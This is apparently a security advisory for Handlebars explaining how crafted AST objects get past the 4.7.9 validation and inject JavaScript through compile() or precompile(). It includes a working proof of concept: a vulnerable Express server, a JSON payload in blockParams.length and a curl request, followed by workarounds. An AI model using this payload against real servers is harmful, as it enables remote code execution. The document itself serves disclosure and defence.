  "details": "## Summary\n\n`Handlebars.compile()` and `Handlebars.precompile()` accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on `PathExpression`, `NumberLiteral` and `BooleanLiteral` nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.\n\nIf an application passes an untrusted object to `compile()` or `precompile()`, such as a parsed JSON request body, that object can carry arbitrary JavaScript. With `compile()`, the code runs on the server when the template renders. With `precompile()`, it ends up in the precompiled output and runs wherever that output is loaded.\n\nApplications that only ever pass template **strings** are not affected.\n\nThis bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.\n\n## Details\n\nThe 4.7.9 validator runs in `parseWithoutProcessing()` and walks the whole AST. It only checks values on nodes whose `type` is `PathExpression`, `NumberLiteral` or `BooleanLiteral`. It passes over plain objects without a `type`, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:\n\n| AST value | Written into generated code as | Compile options needed |\n| --- | --- | --- |\n| `Program.blockParams.length` | `container.program(\u003cindex\u003e, data, \u003clength\u003e)` | none (default options) |\n| `depth` on a param that is not a `PathExpression`, e.g. a `StringLiteral` | `depths[\u003cdepth\u003e]` | `stringParams: true` |\n| A `StringLiteral.value` that is not a string | raw JavaScript literal | `stringParams: true` |\n| A `PathExpression.original` that is not a string | raw JavaScript literal | `stringParams: true` |\n\nThe first row works with default options. A `Program` with `blockParams: { \"length\": \"\u003cJS expression\u003e\" }` passes validation because:\n\n1. the `blockParams` object has no `type`, so none of the type-specific checks apply, and\n2. the walker skips the string under `length` because it is not an object.\n\nThe compiler then reads `program.blockParams.length` and writes the string directly into the template function. The `container.program(...)` call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block\u0027s helper does not exist.\n\n## Proof of Concept\n\n1. Start a server that compiles request input:\n\n```js\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string\n  res.send(template());\n});\n\napp.listen(2123);\n```\n\n2. Save this request body as `poc.json`. `missingHelper` does not need to exist:\n\n```json\n{\n  \"text\": {\n    \"type\": \"Program\",\n    \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } },\n    \"body\": [\n      {\n        \"type\": \"BlockStatement\",\n        \"path\": {\n          \"type\": \"PathExpression\", \"data\": false, \"depth\": 0,\n          \"parts\": [\"missingHelper\"], \"original\": \"missingHelper\",\n          \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n        },\n        \"params\": [],\n        \"program\": {\n          \"type\": \"Program\",\n          \"blockParams\": {\n            \"length\": \"(()=\u003e{throw new Error(\u0027Injected code ran as uid \u0027 + process.getuid())})()\"\n          },\n          \"body\": [],\n          \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n        },\n        \"openStrip\": { \"open\": false, \"close\": false },\n        \"inverseStrip\": { \"open\": false, \"close\": false },\n        \"closeStrip\": { \"open\": false, \"close\": false },\n        \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n      }\n    ]\n  }\n}\n```\n\n3. Send the request:\n\n```sh\ncurl -s -X POST \u0027http://127.0.0.1:2123/api/render\u0027 \\\n     -H \u0027Content-Type: application/json\u0027 --data-binary @poc.json\n```\n\nThe server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:\n\n```\nError: Injected code ran as uid 1000\n```\n\n## Impact\n\nAn application is affected if untrusted input can reach `Handlebars.compile()` or `Handlebars.precompile()` as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to `compile()`.\n\n- **`compile()`**: arbitrary JavaScript runs in the Node.js process with the application\u0027s privileges (remote code execution).\n- **`precompile()`**: the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users\u0027 browsers.\n\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a  `string`, never a plain object or JSON-deserialized value.\n  ```javascript\n  if (typeof templateInput !== \u0027string\u0027) {\n    throw new TypeError(\u0027Template must be a string\u0027);\n  }\n  ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are  pre-compiled at build time; `compile()` will be unavailable.\n\n## Credits\n\n### Variant `Program.blockParams`\n- [Nick Mykhailyshyn - @whoareme](https://x.com/whoareme33)\n- [jmoritzc53 ](https://github.com/jmoritzc53)\n- [bhaswanthc ](https://github.com/bhaswanthc)\n- [dinhvaren ](https://github.com/dinhvaren)\n- [n0tra4e ](https://github.com/n0tra4e) \n- [PellaML](https://github.com/PellaML)\n- [kustundag](https://github.com/kustundag)\n- [kagebunsher](https://github.com/kagebunsher)\n- [sanmatte](https://github.com/sanmatte)\n\n### Variant `BooleanLiteral|NumberLiteral.value`\n\n- [sondt99 ](https://github.com/sondt99) Thai Son Dinh from VinSOC Labs (R\u0026D)\n- [Ahmed-Elmahgob ](https://github.com/Ahmed-Elmahgob)\n- [nikolakojic-rasit ](https://github.com/nikolakojic-rasit)\n- [vk-can](https://github.com/vk-can)\n- [shenhuanageshei](https://github.com/shenhuanageshei)\n- [kustundag](https://github.com/kustundag)\n- [kagebunsher](https://github.com/kagebunsher)\n- [ffasterss](https://github.com/ffasterss)\n\n### Variant `PathExpression.depth`\n\n- [hibrian827](https://github.com/hibrian827) Team Atlanta\n- [oss-security-shopify](https://github.com/oss-security-shopify)",
